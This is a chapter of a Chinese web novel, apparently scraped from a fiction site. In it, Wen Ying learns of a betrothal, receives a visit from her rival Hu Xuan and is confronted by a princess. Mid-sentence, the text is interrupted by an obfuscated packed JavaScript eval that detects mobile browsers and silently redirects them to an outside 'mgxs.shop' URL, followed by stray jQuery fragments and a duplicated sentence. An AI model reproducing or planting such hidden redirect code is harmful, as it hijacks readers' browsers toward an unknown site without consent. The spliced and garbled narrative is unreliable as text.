文趣网 > 其他小说 > 假千金只想开店赚钱 > 47. 未婚夫?
    两人坐在店中靠窗的角落。

    这也是她们第一次独自交谈。

    闻映的目光在她精美的发饰与华丽的外裳上游走了一圈,最后停在她喝茶时掩起的袖口上。

    胡萱此刻表现得就像原主记忆中的那些贵女一样:优雅,矜贵,从容。

    闻映想,或许只有在她自然地提起茶壶,给两人分别倒了一杯茶时,才透出几分她曾作为这间食肆主人家的女儿的影子来。

    “你把食肆经营得很好,阿爹若是知晓,也会很高兴的。”胡萱好似也陷入了回忆中,摩挲了两下粗陶茶杯,抬首说道。

    接着又露出一个苦笑:“他那会儿想让我以后接手铺子,教我做菜。但又说我没天分,教也教不会。”

    闻映敏锐地察觉到,胡萱记忆中的闻父,与老客口中的闻父不太一样。

    她无从知晓哪个闻父更接近真实的他,但那都是过去的事了,非要分辨清楚也没有意义。

    她食指指节轻叩桌面,开口:“直说吧,你来找我有什么事?单说我们两人,应该无话可谈。”

    胡萱一愣,随即露出一个怀念的笑:“整日和那些贵女你来我往地绕弯子,我好久都没听到过这么直接的话了。”

    闻映:“我想,应该没人逼你学着那样说话。”张大娘子不是那样的人,顺平侯不会管她。

    胡萱沉默,是啊,那些贵女不会逼她,她们只会不着痕迹地将她排斥在外,又在一旁窃窃私语,议论着她的出身和不符合礼仪的行为。

    闻映等了一会儿,胡萱却又不吭声了。

    就在她快要耐心全失,想要直接说“不然等你想好了再来找我说吧”时,对面犹豫了半晌的人终于开口:

    “薛三郎回来了,他……是不是来找你了?”

    闻映:“……”

    这又是谁?

    老天爷,一个徐行她都搞不定,怎么冒出来一个新的?

    这桃花劫还有完没完了!

    但看着胡萱的样子,明显自己和这薛三郎有关联,她只好认命地打开原主的记忆去搜寻。

    待知道这薛三郎是何方神圣后,闻映:“……”

    这薛三郎竟是原主的未婚夫。

    她竟然还有个未婚夫!

    她都离开胡家两三个月了,怎么没人跟她说这事?

    记忆中,这桩婚事是顺平侯促成的。

    薛三郎的父亲乃是三司副使,不论是手中实权还是朝中地位都是顺平侯拍马不及的。

    顺平侯看中了薛家的权势,指望结亲后对方能在朝中助自己一臂之力。因此,借着唯一的嫡女的亲事,他费尽心思攀了上去。

    不过他倒也没将自己的女儿往火坑里推。这薛三郎生得面如冠玉,长身玉立,往人群中一站,便让人移不开眼。更难得的是,他少有才名,十二岁时便凭借一首咏梅诗名满汴京,还因此得了个“寒枝公子”的雅称。

    父亲官至三司副使,却不靠父荫,凭自己的本事走科举的路子,不少人赞他就是下一个胡巍。

    汴京众多贵女提起他,都会红了脸。当年顺平侯府能攀上这门亲事,不知多少人暗地里咬牙。

    汴京不少贵女提起他,都要红了脸。当年顺平侯府能攀上这门亲事,不知多少人暗地里咬牙。

    原主对这门亲事也很满意。每次和那些贵女聚在一起,旁人不是打听她哥哥的近况,就是旁敲侧击地打听薛三郎和她的进展。

    她嘴上不说什么,心里却得意得很。

    去年,为了应对今次的秋试,薛三郎去了南方游历,这一去就是一年多,在原主记忆中他还没回来。

    不过……

    闻映忽然想起什么,赶紧说:“如今我的户籍文书已经改回闻家了,这婚事也该不作数了才对?”

    听了这话,胡萱深深地看了她一眼,闻映一时没读懂那眼神中的意味。

    “侯爷怎会愿意放弃好不容易得来的这门亲事?他提出将胡芸记在母亲名下,由胡芸代替你履行婚约。”

    闻映:“……”

    从这短短一句话中,闻映已经感受到了顺平侯府这段时日的不平静。

    最终,她只问出一句:“那你来找我,又是做什么?侯府中事已经与我没干系了。”

    胡萱攥紧了手中的帕子。

    她想起自己这段时日学着胡芸的做派,与她争着讨顺平侯的喜欢。但最终,胡芸母女只花了三言两语,顺平侯就将这桩婚事给了胡芸。

    还说……还说她长在市井,没有从小接受侯府的礼仪教养,不懂高门大户的规矩,嫁过去会丢了顺平侯府的脸面。

    可笑!

    他拿庶女充作嫡女就不丢脸面?哪个体面的人家会做出此等事来?

    好在……

    “薛家大怒,不肯接受这样的安排。”

    “侯爷原本以为婚事无望了,谁知……”说到这里,她眼神复杂地看着闻映:“薛三郎言君子重诺,不肯解除婚约。”

    “他坚持要娶你。”

    胡萱心里已经认定,是闻映说了或做了什么,才会让薛三郎不顾她已经失去侯府嫡女身份还硬要娶她。

    既然如此,她也不绕弯子了。

    她看着闻映,语气里带着几分决心,几分试探:“你虽在侯府长大,但如今……母亲说薛家极看重门第,薛大娘子性子也不温煦,你若嫁过去,日子不会好过。”

    绕了大半天,闻映终于明白了她的来意。

    胡萱哪里是来关心她的,不过是和胡芸一样看中了这桩婚事,想让她主动知难而退罢了。

    闻映没有同她解释自己连见都没见过薛三郎,而是直接开口,既是反问,也是劝告。

    “这桩婚事,我若应了以后日子不会好过,你觉得你应了会好过吗?”

    她们两人,一个有名无实,一个有实无名。

    真要论起来,如今谁都不适合再同薛家结亲。闻映相信张大娘子也是这样跟胡萱说的。

    只是……看着胡萱不甘心的眼神,闻映便明白了,她不愿意放弃,所以才三番两次来找自己。

    两人最终不欢而散。

    胡萱沉着脸走出闻香来,刚要上马车,便听见身后传来一道犹豫的声音:“暄姐儿?……是暄姐儿吗?”

    她转过身,认出了人是巷子里果子铺家的许六娘,以前她们常因为酒水铺家的朱三郎斗气。

    “还真是你啊……”许六娘看着大变了模样的胡萱,局促地将手中装着青梨的篮子放在地上,搓了搓手,又紧紧握在一起,“我听说你离开闻家了……看起来,你过得不错。”

    胡萱含笑大方地点了点头:“是,六娘你呢?是不是要与朱家说亲了?”

    许六娘连连摆手:“我是要说亲了,不过不是朱家,是严家,严大郎,你记得不?”

    胡萱回忆:“记得,是总跟在你后边跑那个大个子?”

    许六娘羞涩地点了点头,“我娘说过日子还是要找知冷热的,朱三郎常流连勾栏,我爹娘都不同意。”

    胡萱笑着说了句“恭喜”。

    见许六娘张口还想说什么,她适时开口打断:“我还有事,就先走了。”

    转过身时,原本扬起的嘴角迅速落下。她心想:蠢女人,自己都走了,没人与她争了,现成的机会竟都把握不住。

    竟然弃掉富贵的酒水铺家的郎君,选了一个只知道傻跟在她后边,连句好听话都说不利索的穷小子。一家子都是眼皮子浅的。

    胡

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17755880|206983||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    萱昂首,肩头微挺,稳稳踏上马车。

    她绝不会和许六娘一般,但凡有机会,便要主动为自己谋划争取。

    胡萱倚着车厢,目光随意投向窗外——

    隔壁李家木器铺传来一声轻响,门口却空着。胡萱顿了一瞬,抬手关上了窗户。

    马蹄“哒哒”声响起,门口缓缓露出李四郎半个身影。

    但直到马车消失在街角,那扇窗户也再没有打开过。

    胡萱离开之后,闻映便把这事抛在了脑后,专心忙食肆的事。

    要她说,这婚约已经不作数了。

    和薛三郎有婚约的是顺平侯府的胡映,关她闻家闻映什么事?

    胡萱的盘算也自有张大娘子去管,不用她操心。

    但闻映不知道的是,三司副使家嫡幼子的婚事可是个香饽饽。

    自打薛三郎回到汴京,不少人就明里暗里同薛家打听那桩婚事。有的是迫于家中女儿的压力,有的是看中了薛三郎这个乘龙快婿。

    毕竟顺平侯府闹出了真假千金这事,婚约未必还能作数。

    只是薛家口风紧,问不出什么来。

    倒是薛三郎的一位友人漏了句话——薛三郎曾亲口言道:“君子重诺,我不会背弃婚约。”

    这话传出去,有人虽觉遗憾,却赞他情深,是名副其实的君子。也有人暗暗摇头,认为他是被那假千金迷昏了头,才非要娶一个市井小户的女子。

    但更多的人,开始好奇闻映。

    究竟是什么样的人,又有怎样的手段,才让薛三郎如此情根深种?

    不少人来查闻映,但开封府的户籍文书自然不是谁都能碰的,先前徐行设下的那层阻碍,便拦住了大半的人。

    但这其中也有少数人,要么聪明些,转而查了胡萱;要么权势不下于徐家。

    于是,胡萱来过后没两日,闻香来便不太平了。

    这日,一辆马车停在闻香来门口,车帘掀开,先下来两个侍女,又扶出一位身着繁复红裙的女子。

    她头上簪着金步摇,走起路来亮得晃眼。身后还跟着三四个丫鬟和几个侍卫,一行人浩浩荡荡,将小店门口堵了个严实。

    闻映听到动静从灶房出来,看见这阵仗,心底便沉了一下。

    走在最前头的侍女环视了一圈店里,对正在吃饭的客人扬声道:“我家郡主在此有事要办,闲杂人等速速避开。”

    客人们没见过这阵仗,唬了一跳,忙不迭低着头从门边溜了出去,也有人走前担忧地看着闻映。

    “啪——”

    有人跑的急了,撞歪了桌子,桌上的一半碗盘摔在地上,还剩下大半的红烧肉在青石板上滚了一地,浓稠的酱汁在地上缓缓洇开,在干净的地砖上格外刺眼。

    闻映沉下脸色:“几位来我店里,却赶走我的客人,未免太过无礼!”

    侍女却并不看她,只扬着下巴道:“你不配跟我家郡主说话,叫胡映出来。”

    闻映的声音中压着冷意:“我就是闻映。”

    那站在中间的女子目光这才落在她身上,从头扫到脚,像在打量一件摆错了位置的物件。

    “就是你啊。”她轻轻说了一句,语气里带着几分漫不经心,“我还以为是什么了不得的人物,明明瞧着也不怎么样,真不知道薛郎君为何会对你这种人死心塌地。”

    这话闻映这两日已经听过不止一遍了,有写在书信中送过来的,也有当面说的。

    闻映真不明白,胡萱也好,这人也罢。

    为何她们一个个的,不去找薛三郎,反倒像中了邪似的,都要来找她。

    “因为我不会在别人的店里肆行无礼,胡搅蛮缠。”

    “也不会对别的姑娘品头论足。”